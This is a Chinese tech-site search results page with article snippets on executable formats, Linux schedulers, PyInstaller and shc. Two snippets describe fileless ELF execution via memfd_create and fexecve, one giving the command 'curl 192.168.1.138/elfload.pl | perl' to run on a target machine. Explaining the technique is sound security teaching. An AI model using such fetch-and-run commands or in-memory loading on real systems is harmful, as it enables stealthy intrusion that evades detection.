首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
您找到你想要的搜索结果了吗?
是的
没有找到

Linux文件渗透执行ELF

02 技术核心 这里向大家介绍一个linux系统的底层调用函数memfd_create(2),它在内核3.17中引入,会创建一个匿名文件并返回一个文件描述符指向它,该文件表现和常规文件类同, 可以进行修改...memfd_create()调用时需要传入两个参数,一个是文件名,一个是MFD_CLOEXEC标志(类似于O_CLOEXEC),以便当我们执行ELF二进制文件时,我们得到的文件描述符将被自动关闭。...这里还有一个问题,如何将elf二进制文件写入到创建的文件当中,@MagisterQuis这里使用open函数将$FH内容添加进创建的匿名文件$fd当中,而$FH通过perl转化自要执行的elf文件,这就是该脚本的第二部分...第三部分就是执行文件了,调用exec函数执行该匿名文件 ? 这里我们最后的EXP就生产好了,我们可以目标机上执行 curl 192.168.1.138/elfload.pl | perl ? ?...可以看到我们的elf文件最终以匿名文件的方式在内存中被加载执行了,从匿名文件运行的程序与运行于普通文件的程序之间唯一真正的区别是/proc/pid/exe符号链接。

5.5K80

linux文件执行— fexecve 揭秘

继续2020年的flag,至少每周更一篇文章,今天讲linux文件执行。...无文件执行 之前的文章中,我们讲到了无文件执行的方法以及混淆进程参数的方法,今天我们继续讲解一种linux文件执行的技巧,是后台朋友给我的提醒,万分感谢,又学到了新的东西。...linux文件执行,首先要提到两个函数:memfd_create 和 fexecve。...将ls 命令文件写入到wurstverschwendung文件 通过fexecve执行wurstverschwendung文件,因为/dev/shm在内存中,因此fexecve实际上是在内存中执行文件...对fexecve_test.c 进行编译并执行,可以看到/dev/shm下面确实生成了wurstverschwendung文件。 ? 调试角度 fexecve是如何执行内存中的文件呢?

4.4K40

linux下的so、o、lo、a、la文件的区别

o: 编译的目标文件 a: 静态库,其实就是把若干o文件打了个包 so: 动态链接库(共享库) lo: 使用libtool编译出的目标文件,其实就是在o文件中添加了一些信息 la: 使用libtool编译出的库文件...‘-rpath’跟’-rpath_link’的不同之处在于,由’-rpath’指定的路径被包含在可执行文件中,并在运行时使用, 而’-rpath-link’选项仅仅在连接时起作用. 3....通过上面的描述可以看到:-rpath指定的路径将被写到可执行文件中;-rpath-link则不会;我们当然不希望交叉编译情况下使用的路径信息被写进最终的可执行文件,所以我们选择使用选项-rpath-link...$ unicore32-Linux-gcc –o myprog /usr/lib/liba.so \ -Wl,–rpath-link -Wl,/home/UNITY_float/install/usr/...libtool中有一个变量“hardcode_libdir_flag_spec”,该变量本来是传递“-rpath”选项的,但我们可以修改它,添加我们需要的路径,传递给unicore32-linux-gcc

8.5K30

『Python』Python编译成计算机可执行文件(Windows计算机可执行文件exe,Linux 计算机可执行文件elf,Mac计算机可执行文件mach-O

,需要提前安装Python解析器和相关包才可以运行,为了在 Windows(或其它系统里) 里方便发布,我们将.py文件,编译成一个可执行文件,并且打包所需要库文件,只需要点击一个可执行文件运行,而无需安装...PyInstaller将 Python应用程序冻结(打包)在Windows,GNU / Linux,Mac OS X,FreeBSD,Solaris和AIX下的独立可执行文件中。...产生单个的可执行文件 -D,--onedir 产生一个目录(包含多个文件)作为可执行程序 -a,--ascii 不包含 Unicode 字符集支持 -d,--debug 产生 debug 版本的可执行文件...,--noconsolc 指定程序运行时不显示命令行窗口(仅对 Windows 有效) -c,--nowindowed,--console 指定使用命令行窗口运行程序(仅对 Windows 有效) -o...build 文件夹; 写入一些日志文件和中间流程文件到 build 文件夹; 创建 dist 文件夹; 生成可执行文件到 dist 文件夹; 如果编译中出现错误,会生成debug.log

3.3K10

探秘 Mach-O 文件

之前负责项目的包体积优化学习了 Mach-O 文件的格式,那么 Mach-O 究竟是怎么样的文件,知道它的组成之后我们又能做点什么?...Mach-O 文件格式 先让我们看看 Mach-O 的大致构成 [1240] 再使用 MachOView 一窥究竟 [1240] 结合可知 Mach-O 文件包含了三部分内容: Header(头部),指明了...能帮助校验 Mach-O 合法性和定位文件的运行环境。...写到这里,算是快速过了一遍 Mach-O 文件的基本概念,接着聊聊可以怎样减少项目的体积。 减少包大小 iOS 的包主要由可执行文件、资源文件(图片)等文件组成,所以可以从这两大头文件入手优化。...可执行文件瘦身 我们的项目中难免会存在一些没使用的类或方法,由于 OC 的动态特性,编译器会对所有的源文件进行编译,找出并删除没用到的类或方法可以减少可执行文件大小。

2.1K30

Mach-O文件结构

主要内容: 理解可执行文件 理解Mach-O文件 Mach-O文件结构 Mach Header Load Commands Data 理解大小端模式 理解通用二进制文件 一、理解可执行文件 1.可执行文件...进程,其实就是可执行文件在内存中加载得到的结果; 可执行文件必须是操作系统可理解的格式,而且不同系统的可执行文件的格式也是不同的; 2.不同平台的可执行文件 Linux:ELF文件 Windows...:PE32/PE32+文件 OS和iOS:Mach-O(Mach Object)文件 二、理解Mach-O文件 作为iOS,iPadOS、macOS平台的可执行文件格式,Mach-O文件涉及App启动运行...Mach-O文件 Mach-O文件是iOS,iPadOS、macOS平台的可执行文件格式。...Mach-O提供了更强的扩展性,以及更快的符号表信息访问速度; 2.Mach-O格式的常见文件类型 Executable:可执行文件(.out .o); Dylib:动态链接库; Bundle:不能被链接

1.3K20

Linux O(n)调度器

前面我们学习了调度器的设计需要关注的几个点,在这里复习下: 吞吐量(对应的是CPU消耗型进程) 响应速度(对应的是IO消耗型进程) 公平性,确保每个进程都可以有机会运行到 移动设备的功耗 Linux中调度器的设计...实时进程采用两种调度策略SCHED_RR或者SCHED_FIFO 普通进程采用nice值进行动态调整普通进程的优先级 经常睡眠的进程尝试增大下优先级,经常长占CPU的适当减少优先级 本节我们先来学习Linux...早期的调度算法的设计,先从最早的调度器算法开始,此调度器时间复杂度是O(n),所以也可以称为O(n)调度算法。...我们选择的内核版本是linux-2.4.19。 O(n)调度器的实现原理 O(n)代表的是寻找一个合适的进程的时间复杂度。...总之O(n)调度器有很多问题,不过有问题肯定要解决的。所以在Linux2.6引入了O(1)的调度器。

3.3K20

谈谈调度 - Linux O(1)

约莫十五年前,当我刚刚开始参加工作时,赶上 Linux 发布划时代的 2.6 内核。在这个大家都翘首期盼的内核版本中,最令人兴奋的便是 O(1) scheduler。本文来谈谈这个算法是如何实现的。...我们知道,现代操作系统都能运行成千上万个进程,O(N) 的算法意味着每次调度时,对于当前执行完的 process,需要把所有在 expired queue 中的 process 过一遍,找到合适的位置插入...难点在于执行完的 process —— 怎样插入到合适的位置使得 runqueue 是有序的? 满足 O(1) 的数据结构?...没有 preemption,严格按照优先级的顺序执行 process。那么,我们怎么组合上述的数据结构,让 scheduling 是 O(1) 的? 思考一下。 再思考一下。...在这种情况下,insert / deletion 都是 O(1)。 那么,我们怎么找到当前最高优先级下面的可执行的 process 呢?

1.8K80

Linux O(1)调度器

O(n)调度器的种种问题,linux内核社区则在2.6内核版本引入了O(1)调度器,当然了引入的目的也正是要解决O(n)调度器面临的问题。...我们这片文章以Linux2.6.2版本来学习,在Linux内核文档中有一篇关于O(1)调度器的目的,如何设计的,以及实现有一个详细的介绍:sched-design.txt文档,有兴趣的可以去阅读。...从以上几点来看,可以看出O(1)的算法的改进都是针对O(n)算法存在的问题来修改的。...后面的操作就是执行进程切换,调度了。...总结: O(1)调度器的引入主要是为了解决O(n)调度器的不足 O(1)调度器在赏罚机制上比O(n)调度器考虑的因素比较多,不再时像O(1)那样直接考时间片的大小来调度 但是O(n)和O(1)调度算法上核心还是通过判断一个进程的行为

2.8K21

Linux下创建可执行bin安装文件

我们将脚本和安装介质上传到生产环境,然后通过执行脚本来完成安装。如果能够将这两个文件合并为一个可执行文件,那安装的过程就更简单明了。 2、代码保护。...2、对于第二个隐藏代码内容的需求,有一款工具叫做 shc ,可以用它来将脚本编程二进制文件。 shc的用法比较简单,下载后make生成可执行文件,然后直接对脚本进行加密,会生成两个文件。...一个以.x结尾,为可执行的二进制文件。另一个以.x.c结尾,为生成的中间c文件。shc还能指定可执行脚本的过期时间。...参考资料: 1、Linux .bin安装文件制作 2、dos2unix 3、linux下制作二进制bin 文件制做方法 4、shc 5、How to Encrypt Your Bash Shell...Script on Linux Using SHC

8.9K20
领券